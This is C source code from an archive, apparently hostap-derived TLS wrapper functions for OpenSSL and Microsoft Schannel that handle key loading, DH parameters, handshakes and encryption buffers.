wpa_printf(MSG_DEBUG, "OpenSSL: Reading PKCS#12 file "
"--> OK");
ok = 1;
break;
}
if (tls_cryptoapi_cert(conn->ssl, private_key) == 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Using CryptoAPI to "
"access certificate store --> OK");
ok = 1;
break;
}
break;
}
if (!ok) {
wpa_printf(MSG_INFO, "OpenSSL: Failed to load private key");
os_free(passwd);
ERR_clear_error();
return -1;
}
ERR_clear_error();
SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL);
os_free(passwd);
if (!SSL_check_private_key(conn->ssl)) {
tls_show_errors(MSG_INFO, __func__, "Private key failed "
"verification");
return -1;
}
wpa_printf(MSG_DEBUG, "SSL: Private key loaded successfully");
return 0;
}
static int tls_global_private_key(SSL_CTX *ssl_ctx, const char *private_key,
const char *private_key_passwd)
{
char *passwd;
if (private_key == NULL)
return 0;
if (private_key_passwd) {
passwd = os_strdup(private_key_passwd);
if (passwd == NULL)
return -1;
} else
passwd = NULL;
SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb);
SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd);
if (
#ifndef OPENSSL_NO_STDIO
SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key,
SSL_FILETYPE_ASN1) != 1 &&
SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key,
SSL_FILETYPE_PEM) != 1 &&
#endif /* OPENSSL_NO_STDIO */
tls_read_pkcs12(ssl_ctx, NULL, private_key, passwd)) {
tls_show_errors(MSG_INFO, __func__,
"Failed to load private key");
os_free(passwd);
ERR_clear_error();
return -1;
}
os_free(passwd);
ERR_clear_error();
SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL);
if (!SSL_CTX_check_private_key(ssl_ctx)) {
tls_show_errors(MSG_INFO, __func__,
"Private key failed verification");
return -1;
}
return 0;
}
static int tls_connection_dh(struct tls_connection *conn, const char *dh_file)
{
#ifdef OPENSSL_NO_DH
if (dh_file == NULL)
return 0;
wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but "
"dh_file specified");
return -1;
#else /* OPENSSL_NO_DH */
DH *dh;
BIO *bio;
/* TODO: add support for dh_blob */
if (dh_file == NULL)
return 0;
if (conn == NULL)
return -1;
bio = BIO_new_file(dh_file, "r");
if (bio == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s",
dh_file, ERR_error_string(ERR_get_error(), NULL));
return -1;
}
dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL);
BIO_free(bio);
#ifndef OPENSSL_NO_DSA
while (dh == NULL) {
DSA *dsa;
wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -"
" trying to parse as DSA params", dh_file,
ERR_error_string(ERR_get_error(), NULL));
bio = BIO_new_file(dh_file, "r");
if (bio == NULL)
break;
dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL);
BIO_free(bio);
if (!dsa) {
wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file "
"'%s': %s", dh_file,
ERR_error_string(ERR_get_error(), NULL));
break;
}
wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format");
dh = DSA_dup_DH(dsa);
DSA_free(dsa);
if (dh == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to convert DSA "
"params into DH params");
break;
}
break;
}
#endif /* !OPENSSL_NO_DSA */
if (dh == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file "
"'%s'", dh_file);
return -1;
}
if (SSL_set_tmp_dh(conn->ssl, dh) != 1) {
wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': "
"%s", dh_file,
ERR_error_string(ERR_get_error(), NULL));
DH_free(dh);
return -1;
}
DH_free(dh);
return 0;
#endif /* OPENSSL_NO_DH */
}
static int tls_global_dh(SSL_CTX *ssl_ctx, const char *dh_file)
{
#ifdef OPENSSL_NO_DH
if (dh_file == NULL)
return 0;
wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but "
"dh_file specified");
return -1;
#else /* OPENSSL_NO_DH */
DH *dh;
BIO *bio;
/* TODO: add support for dh_blob */
if (dh_file == NULL)
return 0;
if (ssl_ctx == NULL)
return -1;
bio = BIO_new_file(dh_file, "r");
if (bio == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s",
dh_file, ERR_error_string(ERR_get_error(), NULL));
return -1;
}
dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL);
BIO_free(bio);
#ifndef OPENSSL_NO_DSA
while (dh == NULL) {
DSA *dsa;
wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -"
" trying to parse as DSA params", dh_file,
ERR_error_string(ERR_get_error(), NULL));
bio = BIO_new_file(dh_file, "r");
if (bio == NULL)
break;
dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL);
BIO_free(bio);
if (!dsa) {
wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file "
"'%s': %s", dh_file,
ERR_error_string(ERR_get_error(), NULL));
break;
}
wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format");
dh = DSA_dup_DH(dsa);
DSA_free(dsa);
if (dh == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to convert DSA "
"params into DH params");
break;
}
break;
}
#endif /* !OPENSSL_NO_DSA */
if (dh == NULL) {
wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file "
"'%s'", dh_file);
return -1;
}
if (SSL_CTX_set_tmp_dh(ssl_ctx, dh) != 1) {
wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': "
"%s", dh_file,
ERR_error_string(ERR_get_error(), NULL));
DH_free(dh);
return -1;
}
DH_free(dh);
return 0;
#endif /* OPENSSL_NO_DH */
}
int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
SSL *ssl;
if (conn == NULL || keys == NULL)
return -1;
ssl = conn->ssl;
if (ssl == NULL || ssl->s3 == NULL || ssl->session == NULL)
return -1;
os_memset(keys, 0, sizeof(*keys));
keys->master_key = ssl->session->master_key;
keys->master_key_len = ssl->session->master_key_length;
keys->client_random = ssl->s3->client_random;
keys->client_random_len = SSL3_RANDOM_SIZE;
keys->server_random = ssl->s3->server_random;
keys->server_random_len = SSL3_RANDOM_SIZE;
return 0;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
return -1;
}
static struct wpabuf *
openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data,
int server)
{
int res;
struct wpabuf *out_data;
/*
* Give TLS handshake data from the server (if available) to OpenSSL
* for processing.
*/
if (in_data &&
BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data))
< 0) {
tls_show_errors(MSG_INFO, __func__,
"Handshake failed - BIO_write");
return NULL;
}
/* Initiate TLS handshake or continue the existing handshake */
if (server)
res = SSL_accept(conn->ssl);
else
res = SSL_connect(conn->ssl);
if (res != 1) {
int err = SSL_get_error(conn->ssl, res);
if (err == SSL_ERROR_WANT_READ)
wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want "
"more data");
else if (err == SSL_ERROR_WANT_WRITE)
wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want to "
"write");
else {
tls_show_errors(MSG_INFO, __func__, "SSL_connect");
conn->failed++;
}
}
/* Get the TLS handshake data to be sent to the server */
res = BIO_ctrl_pending(conn->ssl_out);
wpa_printf(MSG_DEBUG, "SSL: %d bytes pending from ssl_out", res);
out_data = wpabuf_alloc(res);
if (out_data == NULL) {
wpa_printf(MSG_DEBUG, "SSL: Failed to allocate memory for "
"handshake output (%d bytes)", res);
if (BIO_reset(conn->ssl_out) < 0) {
tls_show_errors(MSG_INFO, __func__,
"BIO_reset failed");
}
return NULL;
}
res = res == 0 ? 0 : BIO_read(conn->ssl_out, wpabuf_mhead(out_data),
res);
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
"Handshake failed - BIO_read");
if (BIO_reset(conn->ssl_out) < 0) {
tls_show_errors(MSG_INFO, __func__,
"BIO_reset failed");
}
wpabuf_free(out_data);
return NULL;
}
wpabuf_put(out_data, res);
return out_data;
}
static struct wpabuf *
openssl_get_appl_data(struct tls_connection *conn, size_t max_len)
{
struct wpabuf *appl_data;
int res;
appl_data = wpabuf_alloc(max_len + 100);
if (appl_data == NULL)
return NULL;
res = SSL_read(conn->ssl, wpabuf_mhead(appl_data),
wpabuf_size(appl_data));
if (res < 0) {
int err = SSL_get_error(conn->ssl, res);
if (err == SSL_ERROR_WANT_READ ||
err == SSL_ERROR_WANT_WRITE) {
wpa_printf(MSG_DEBUG, "SSL: No Application Data "
"included");
} else {
tls_show_errors(MSG_INFO, __func__,
"Failed to read possible "
"Application Data");
}
wpabuf_free(appl_data);
return NULL;
}
wpabuf_put(appl_data, res);
wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application Data in Finished "
"message", appl_data);
return appl_data;
}
static struct wpabuf *
openssl_connection_handshake(struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data, int server)
{
struct wpabuf *out_data;
if (appl_data)
*appl_data = NULL;
out_data = openssl_handshake(conn, in_data, server);
if (out_data == NULL)
return NULL;
if (SSL_is_init_finished(conn->ssl) && appl_data && in_data)
*appl_data = openssl_get_appl_data(conn, wpabuf_len(in_data));
return out_data;
}
struct wpabuf *
tls_connection_handshake(void *ssl_ctx, struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return openssl_connection_handshake(conn, in_data, appl_data, 0);
}
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data)
{
return openssl_connection_handshake(conn, in_data, appl_data, 1);
}
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
int res;
struct wpabuf *buf;
if (conn == NULL)
return NULL;
/* Give plaintext data for OpenSSL to encrypt into the TLS tunnel. */
if ((res = BIO_reset(conn->ssl_in)) < 0 ||
(res = BIO_reset(conn->ssl_out)) < 0) {
tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
return NULL;
}
res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
"Encryption failed - SSL_write");
return NULL;
}
/* Read encrypted data to be sent to the server */
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
if (buf == NULL)
return NULL;
res = BIO_read(conn->ssl_out, wpabuf_mhead(buf), wpabuf_size(buf));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
"Encryption failed - BIO_read");
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data)
{
int res;
struct wpabuf *buf;
/* Give encrypted data from TLS tunnel for OpenSSL to decrypt. */
res = BIO_write(conn->ssl_in, wpabuf_head(in_data),
wpabuf_len(in_data));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
"Decryption failed - BIO_write");
return NULL;
}
if (BIO_reset(conn->ssl_out) < 0) {
tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
return NULL;
}
/* Read decrypted data for further processing */
/*
* Even though we try to disable TLS compression, it is possible that
* this cannot be done with all TLS libraries. Add extra buffer space
* to handle the possibility of the decrypted data being longer than
* input data.
*/
buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
if (buf == NULL)
return NULL;
res = SSL_read(conn->ssl, wpabuf_mhead(buf), wpabuf_size(buf));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
"Decryption failed - SSL_read");
wpabuf_free(buf);
return NULL;
}
wpabuf_put(buf, res);
return buf;
}
int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn)
{
return conn ? conn->ssl->hit : 0;
}
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
u8 *ciphers)
{
char buf[100], *pos, *end;
u8 *c;
int ret;
if (conn == NULL || conn->ssl == NULL || ciphers == NULL)
return -1;
buf[0] = '\0';
pos = buf;
end = pos + sizeof(buf);
c = ciphers;
while (*c != TLS_CIPHER_NONE) {
const char *suite;
switch (*c) {
case TLS_CIPHER_RC4_SHA:
suite = "RC4-SHA";
break;
case TLS_CIPHER_AES128_SHA:
suite = "AES128-SHA";
break;
case TLS_CIPHER_RSA_DHE_AES128_SHA:
suite = "DHE-RSA-AES128-SHA";
break;
case TLS_CIPHER_ANON_DH_AES128_SHA:
suite = "ADH-AES128-SHA";
break;
default:
wpa_printf(MSG_DEBUG, "TLS: Unsupported "
"cipher selection: %d", *c);
return -1;
}
ret = os_snprintf(pos, end - pos, ":%s", suite);
if (ret < 0 || ret >= end - pos)
break;
pos += ret;
c++;
}
wpa_printf(MSG_DEBUG, "OpenSSL: cipher suites: %s", buf + 1);
if (SSL_set_cipher_list(conn->ssl, buf + 1) != 1) {
tls_show_errors(MSG_INFO, __func__,
"Cipher suite configuration failed");
return -1;
}
return 0;
}
int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn,
char *buf, size_t buflen)
{
const char *name;
if (conn == NULL || conn->ssl == NULL)
return -1;
name = SSL_get_cipher(conn->ssl);
if (name == NULL)
return -1;
os_strlcpy(buf, name, buflen);
return 0;
}
int tls_connection_enable_workaround(void *ssl_ctx,
struct tls_connection *conn)
{
SSL_set_options(conn->ssl, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS);
return 0;
}
#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST)
/* ClientHello TLS extensions require a patch to openssl, so this function is
* commented out unless explicitly needed for EAP-FAST in order to be able to
* build this file with unmodified openssl. */
int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len)
{
if (conn == NULL || conn->ssl == NULL || ext_type != 35)
return -1;
#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE
if (SSL_set_session_ticket_ext(conn->ssl, (void *) data,
data_len) != 1)
return -1;
#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */
if (SSL_set_hello_extension(conn->ssl, ext_type, (void *) data,
data_len) != 1)
return -1;
#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */
return 0;
}
#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */
int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->failed;
}
int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->read_alerts;
}
int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
return conn->write_alerts;
}
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params)
{
int ret;
unsigned long err;
if (conn == NULL)
return -1;
while ((err = ERR_get_error())) {
wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s",
__func__, ERR_error_string(err, NULL));
}
if (params->engine) {
wpa_printf(MSG_DEBUG, "SSL: Initializing TLS engine");
ret = tls_engine_init(conn, params->engine_id, params->pin,
params->key_id, params->cert_id,
params->ca_cert_id);
if (ret)
return ret;
}
if (tls_connection_set_subject_match(conn,
params->subject_match,
params->altsubject_match))
return -1;
if (params->engine && params->ca_cert_id) {
if (tls_connection_engine_ca_cert(tls_ctx, conn,
params->ca_cert_id))
return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED;
} else if (tls_connection_ca_cert(tls_ctx, conn, params->ca_cert,
params->ca_cert_blob,
params->ca_cert_blob_len,
params->ca_path))
return -1;
if (params->engine && params->cert_id) {
if (tls_connection_engine_client_cert(conn, params->cert_id))
return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED;
} else if (tls_connection_client_cert(conn, params->client_cert,
params->client_cert_blob,
params->client_cert_blob_len))
return -1;
if (params->engine && params->key_id) {
wpa_printf(MSG_DEBUG, "TLS: Using private key from engine");
if (tls_connection_engine_private_key(conn))
return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED;
} else if (tls_connection_private_key(tls_ctx, conn,
params->private_key,
params->private_key_passwd,
params->private_key_blob,
params->private_key_blob_len)) {
wpa_printf(MSG_INFO, "TLS: Failed to load private key '%s'",
params->private_key);
return -1;
}
if (tls_connection_dh(conn, params->dh_file)) {
wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'",
params->dh_file);
return -1;
}
tls_get_errors(tls_ctx);
return 0;
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
SSL_CTX *ssl_ctx = tls_ctx;
unsigned long err;
while ((err = ERR_get_error())) {
wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s",
__func__, ERR_error_string(err, NULL));
}
if (tls_global_ca_cert(ssl_ctx, params->ca_cert))
return -1;
if (tls_global_client_cert(ssl_ctx, params->client_cert))
return -1;
if (tls_global_private_key(ssl_ctx, params->private_key,
params->private_key_passwd))
return -1;
if (tls_global_dh(ssl_ctx, params->dh_file)) {
wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'",
params->dh_file);
return -1;
}
return 0;
}
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn)
{
const EVP_CIPHER *c;
const EVP_MD *h;
if (conn == NULL || conn->ssl == NULL ||
conn->ssl->enc_read_ctx == NULL ||
conn->ssl->enc_read_ctx->cipher == NULL ||
conn->ssl->read_hash == NULL)
return -1;
c = conn->ssl->enc_read_ctx->cipher;
#if OPENSSL_VERSION_NUMBER >= 0x00909000L
h = EVP_MD_CTX_md(conn->ssl->read_hash);
#else
h = conn->ssl->read_hash;
#endif
return 2 * (EVP_CIPHER_key_length(c) +
EVP_MD_size(h) +
EVP_CIPHER_iv_length(c));
}
unsigned int tls_capabilities(void *tls_ctx)
{
return 0;
}
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
int tls_ia)
{
return -1;
}
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final)
{
return NULL;
}
int tls_connection_ia_final_phase_finished(void *tls_ctx,
struct tls_connection *conn)
{
return -1;
}
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
struct tls_connection *conn,
const u8 *key, size_t key_len)
{
return -1;
}
#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST)
/* Pre-shared secred requires a patch to openssl, so this function is
* commented out unless explicitly needed for EAP-FAST in order to be able to
* build this file with unmodified openssl. */
static int tls_sess_sec_cb(SSL *s, void *secret, int *secret_len,
STACK_OF(SSL_CIPHER) *peer_ciphers,
SSL_CIPHER **cipher, void *arg)
{
struct tls_connection *conn = arg;
int ret;
if (conn == NULL || conn->session_ticket_cb == NULL)
return 0;
ret = conn->session_ticket_cb(conn->session_ticket_cb_ctx,
conn->session_ticket,
conn->session_ticket_len,
s->s3->client_random,
s->s3->server_random, secret);
os_free(conn->session_ticket);
conn->session_ticket = NULL;
if (ret <= 0)
return 0;
*secret_len = SSL_MAX_MASTER_KEY_LENGTH;
return 1;
}
#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE
static int tls_session_ticket_ext_cb(SSL *s, const unsigned char *data,
int len, void *arg)
{
struct tls_connection *conn = arg;
if (conn == NULL || conn->session_ticket_cb == NULL)
return 0;
wpa_printf(MSG_DEBUG, "OpenSSL: %s: length=%d", __func__, len);
os_free(conn->session_ticket);
conn->session_ticket = NULL;
wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket "
"extension", data, len);
conn->session_ticket = os_malloc(len);
if (conn->session_ticket == NULL)
return 0;
os_memcpy(conn->session_ticket, data, len);
conn->session_ticket_len = len;
return 1;
}
#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */
#ifdef SSL_OP_NO_TICKET
static void tls_hello_ext_cb(SSL *s, int client_server, int type,
unsigned char *data, int len, void *arg)
{
struct tls_connection *conn = arg;
if (conn == NULL || conn->session_ticket_cb == NULL)
return;
wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__,
type, len);
if (type == TLSEXT_TYPE_session_ticket && !client_server) {
os_free(conn->session_ticket);
conn->session_ticket = NULL;
wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket "
"extension", data, len);
conn->session_ticket = os_malloc(len);
if (conn->session_ticket == NULL)
return;
os_memcpy(conn->session_ticket, data, len);
conn->session_ticket_len = len;
}
}
#else /* SSL_OP_NO_TICKET */
static int tls_hello_ext_cb(SSL *s, TLS_EXTENSION *ext, void *arg)
{
struct tls_connection *conn = arg;
if (conn == NULL || conn->session_ticket_cb == NULL)
return 0;
wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__,
ext->type, ext->length);
os_free(conn->session_ticket);
conn->session_ticket = NULL;
if (ext->type == 35) {
wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket "
"extension", ext->data, ext->length);
conn->session_ticket = os_malloc(ext->length);
if (conn->session_ticket == NULL)
return SSL_AD_INTERNAL_ERROR;
os_memcpy(conn->session_ticket, ext->data, ext->length);
conn->session_ticket_len = ext->length;
}
return 0;
}
#endif /* SSL_OP_NO_TICKET */
#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */
#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */
int tls_connection_set_session_ticket_cb(void *tls_ctx,
struct tls_connection *conn,
tls_session_ticket_cb cb,
void *ctx)
{
#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST)
conn->session_ticket_cb = cb;
conn->session_ticket_cb_ctx = ctx;
if (cb) {
if (SSL_set_session_secret_cb(conn->ssl, tls_sess_sec_cb,
conn) != 1)
return -1;
#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE
SSL_set_session_ticket_ext_cb(conn->ssl,
tls_session_ticket_ext_cb, conn);
#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */
#ifdef SSL_OP_NO_TICKET
SSL_set_tlsext_debug_callback(conn->ssl, tls_hello_ext_cb);
SSL_set_tlsext_debug_arg(conn->ssl, conn);
#else /* SSL_OP_NO_TICKET */
if (SSL_set_hello_extension_cb(conn->ssl, tls_hello_ext_cb,
conn) != 1)
return -1;
#endif /* SSL_OP_NO_TICKET */
#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */
} else {
if (SSL_set_session_secret_cb(conn->ssl, NULL, NULL) != 1)
return -1;
#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE
SSL_set_session_ticket_ext_cb(conn->ssl, NULL, NULL);
#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */
#ifdef SSL_OP_NO_TICKET
SSL_set_tlsext_debug_callback(conn->ssl, NULL);
SSL_set_tlsext_debug_arg(conn->ssl, conn);
#else /* SSL_OP_NO_TICKET */
if (SSL_set_hello_extension_cb(conn->ssl, NULL, NULL) != 1)
return -1;
#endif /* SSL_OP_NO_TICKET */
#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */
}
return 0;
#else /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */
return -1;
#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */
}
bully-1.4-00/src/crypto/tls_schannel.c 0000775 0000000 0000000 00000046531 13615304636 0017675 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface functions for Microsoft Schannel
* Copyright (c) 2005-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
/*
* FIX: Go through all SSPI functions and verify what needs to be freed
* FIX: session resumption
* TODO: add support for server cert chain validation
* TODO: add support for CA cert validation
* TODO: add support for EAP-TLS (client cert/key conf)
*/
#include "includes.h"
#include
#include
#include
#define SECURITY_WIN32
#include
#include
#include "common.h"
#include "tls.h"
struct tls_global {
HMODULE hsecurity;
PSecurityFunctionTable sspi;
HCERTSTORE my_cert_store;
};
struct tls_connection {
int established, start;
int failed, read_alerts, write_alerts;
SCHANNEL_CRED schannel_cred;
CredHandle creds;
CtxtHandle context;
u8 eap_tls_prf[128];
int eap_tls_prf_set;
};
static int schannel_load_lib(struct tls_global *global)
{
INIT_SECURITY_INTERFACE pInitSecurityInterface;
global->hsecurity = LoadLibrary(TEXT("Secur32.dll"));
if (global->hsecurity == NULL) {
wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x",
__func__, (unsigned int) GetLastError());
return -1;
}
pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress(
global->hsecurity, "InitSecurityInterfaceA");
if (pInitSecurityInterface == NULL) {
wpa_printf(MSG_ERROR, "%s: Could not find "
"InitSecurityInterfaceA from Secur32.dll",
__func__);
FreeLibrary(global->hsecurity);
global->hsecurity = NULL;
return -1;
}
global->sspi = pInitSecurityInterface();
if (global->sspi == NULL) {
wpa_printf(MSG_ERROR, "%s: Could not read security "
"interface - 0x%x",
__func__, (unsigned int) GetLastError());
FreeLibrary(global->hsecurity);
global->hsecurity = NULL;
return -1;
}
return 0;
}
void * tls_init(const struct tls_config *conf)
{
struct tls_global *global;
global = os_zalloc(sizeof(*global));
if (global == NULL)
return NULL;
if (schannel_load_lib(global)) {
os_free(global);
return NULL;
}
return global;
}
void tls_deinit(void *ssl_ctx)
{
struct tls_global *global = ssl_ctx;
if (global->my_cert_store)
CertCloseStore(global->my_cert_store, 0);
FreeLibrary(global->hsecurity);
os_free(global);
}
int tls_get_errors(void *ssl_ctx)
{
return 0;
}
struct tls_connection * tls_connection_init(void *ssl_ctx)
{
struct tls_connection *conn;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
conn->start = 1;
return conn;
}
void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return;
os_free(conn);
}
int tls_connection_established(void *ssl_ctx, struct tls_connection *conn)
{
return conn ? conn->established : 0;
}
int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn)
{
struct tls_global *global = ssl_ctx;
if (conn == NULL)
return -1;
conn->eap_tls_prf_set = 0;
conn->established = conn->failed = 0;
conn->read_alerts = conn->write_alerts = 0;
global->sspi->DeleteSecurityContext(&conn->context);
/* FIX: what else needs to be reseted? */
return 0;
}
int tls_global_set_params(void *tls_ctx,
const struct tls_connection_params *params)
{
return -1;
}
int tls_global_set_verify(void *ssl_ctx, int check_crl)
{
return -1;
}
int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn,
int verify_peer)
{
return -1;
}
int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn,
struct tls_keys *keys)
{
/* Schannel does not export master secret or client/server random. */
return -1;
}
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
const char *label, int server_random_first,
u8 *out, size_t out_len)
{
/*
* Cannot get master_key from Schannel, but EapKeyBlock can be used to
* generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and
* EAP-TTLS cannot use this, though, since they are using different
* labels. The only option could be to implement TLSv1 completely here
* and just use Schannel or CryptoAPI for low-level crypto
* functionality..
*/
if (conn == NULL || !conn->eap_tls_prf_set || server_random_first ||
os_strcmp(label, "client EAP encryption") != 0 ||
out_len > sizeof(conn->eap_tls_prf))
return -1;
os_memcpy(out, conn->eap_tls_prf, out_len);
return 0;
}
static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global,
struct tls_connection *conn)
{
DWORD sspi_flags, sspi_flags_out;
SecBufferDesc outbuf;
SecBuffer outbufs[1];
SECURITY_STATUS status;
TimeStamp ts_expiry;
sspi_flags = ISC_REQ_REPLAY_DETECT |
ISC_REQ_CONFIDENTIALITY |
ISC_RET_EXTENDED_ERROR |
ISC_REQ_ALLOCATE_MEMORY |
ISC_REQ_MANUAL_CRED_VALIDATION;
wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__);
outbufs[0].pvBuffer = NULL;
outbufs[0].BufferType = SECBUFFER_TOKEN;
outbufs[0].cbBuffer = 0;
outbuf.cBuffers = 1;
outbuf.pBuffers = outbufs;
outbuf.ulVersion = SECBUFFER_VERSION;
#ifdef UNICODE
status = global->sspi->InitializeSecurityContextW(
&conn->creds, NULL, NULL /* server name */, sspi_flags, 0,
SECURITY_NATIVE_DREP, NULL, 0, &conn->context,
&outbuf, &sspi_flags_out, &ts_expiry);
#else /* UNICODE */
status = global->sspi->InitializeSecurityContextA(
&conn->creds, NULL, NULL /* server name */, sspi_flags, 0,
SECURITY_NATIVE_DREP, NULL, 0, &conn->context,
&outbuf, &sspi_flags_out, &ts_expiry);
#endif /* UNICODE */
if (status != SEC_I_CONTINUE_NEEDED) {
wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA "
"failed - 0x%x",
__func__, (unsigned int) status);
return NULL;
}
if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) {
struct wpabuf *buf;
wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello",
outbufs[0].pvBuffer, outbufs[0].cbBuffer);
conn->start = 0;
buf = wpabuf_alloc_copy(outbufs[0].pvBuffer,
outbufs[0].cbBuffer);
if (buf == NULL)
return NULL;
global->sspi->FreeContextBuffer(outbufs[0].pvBuffer);
return buf;
}
wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello");
return NULL;
}
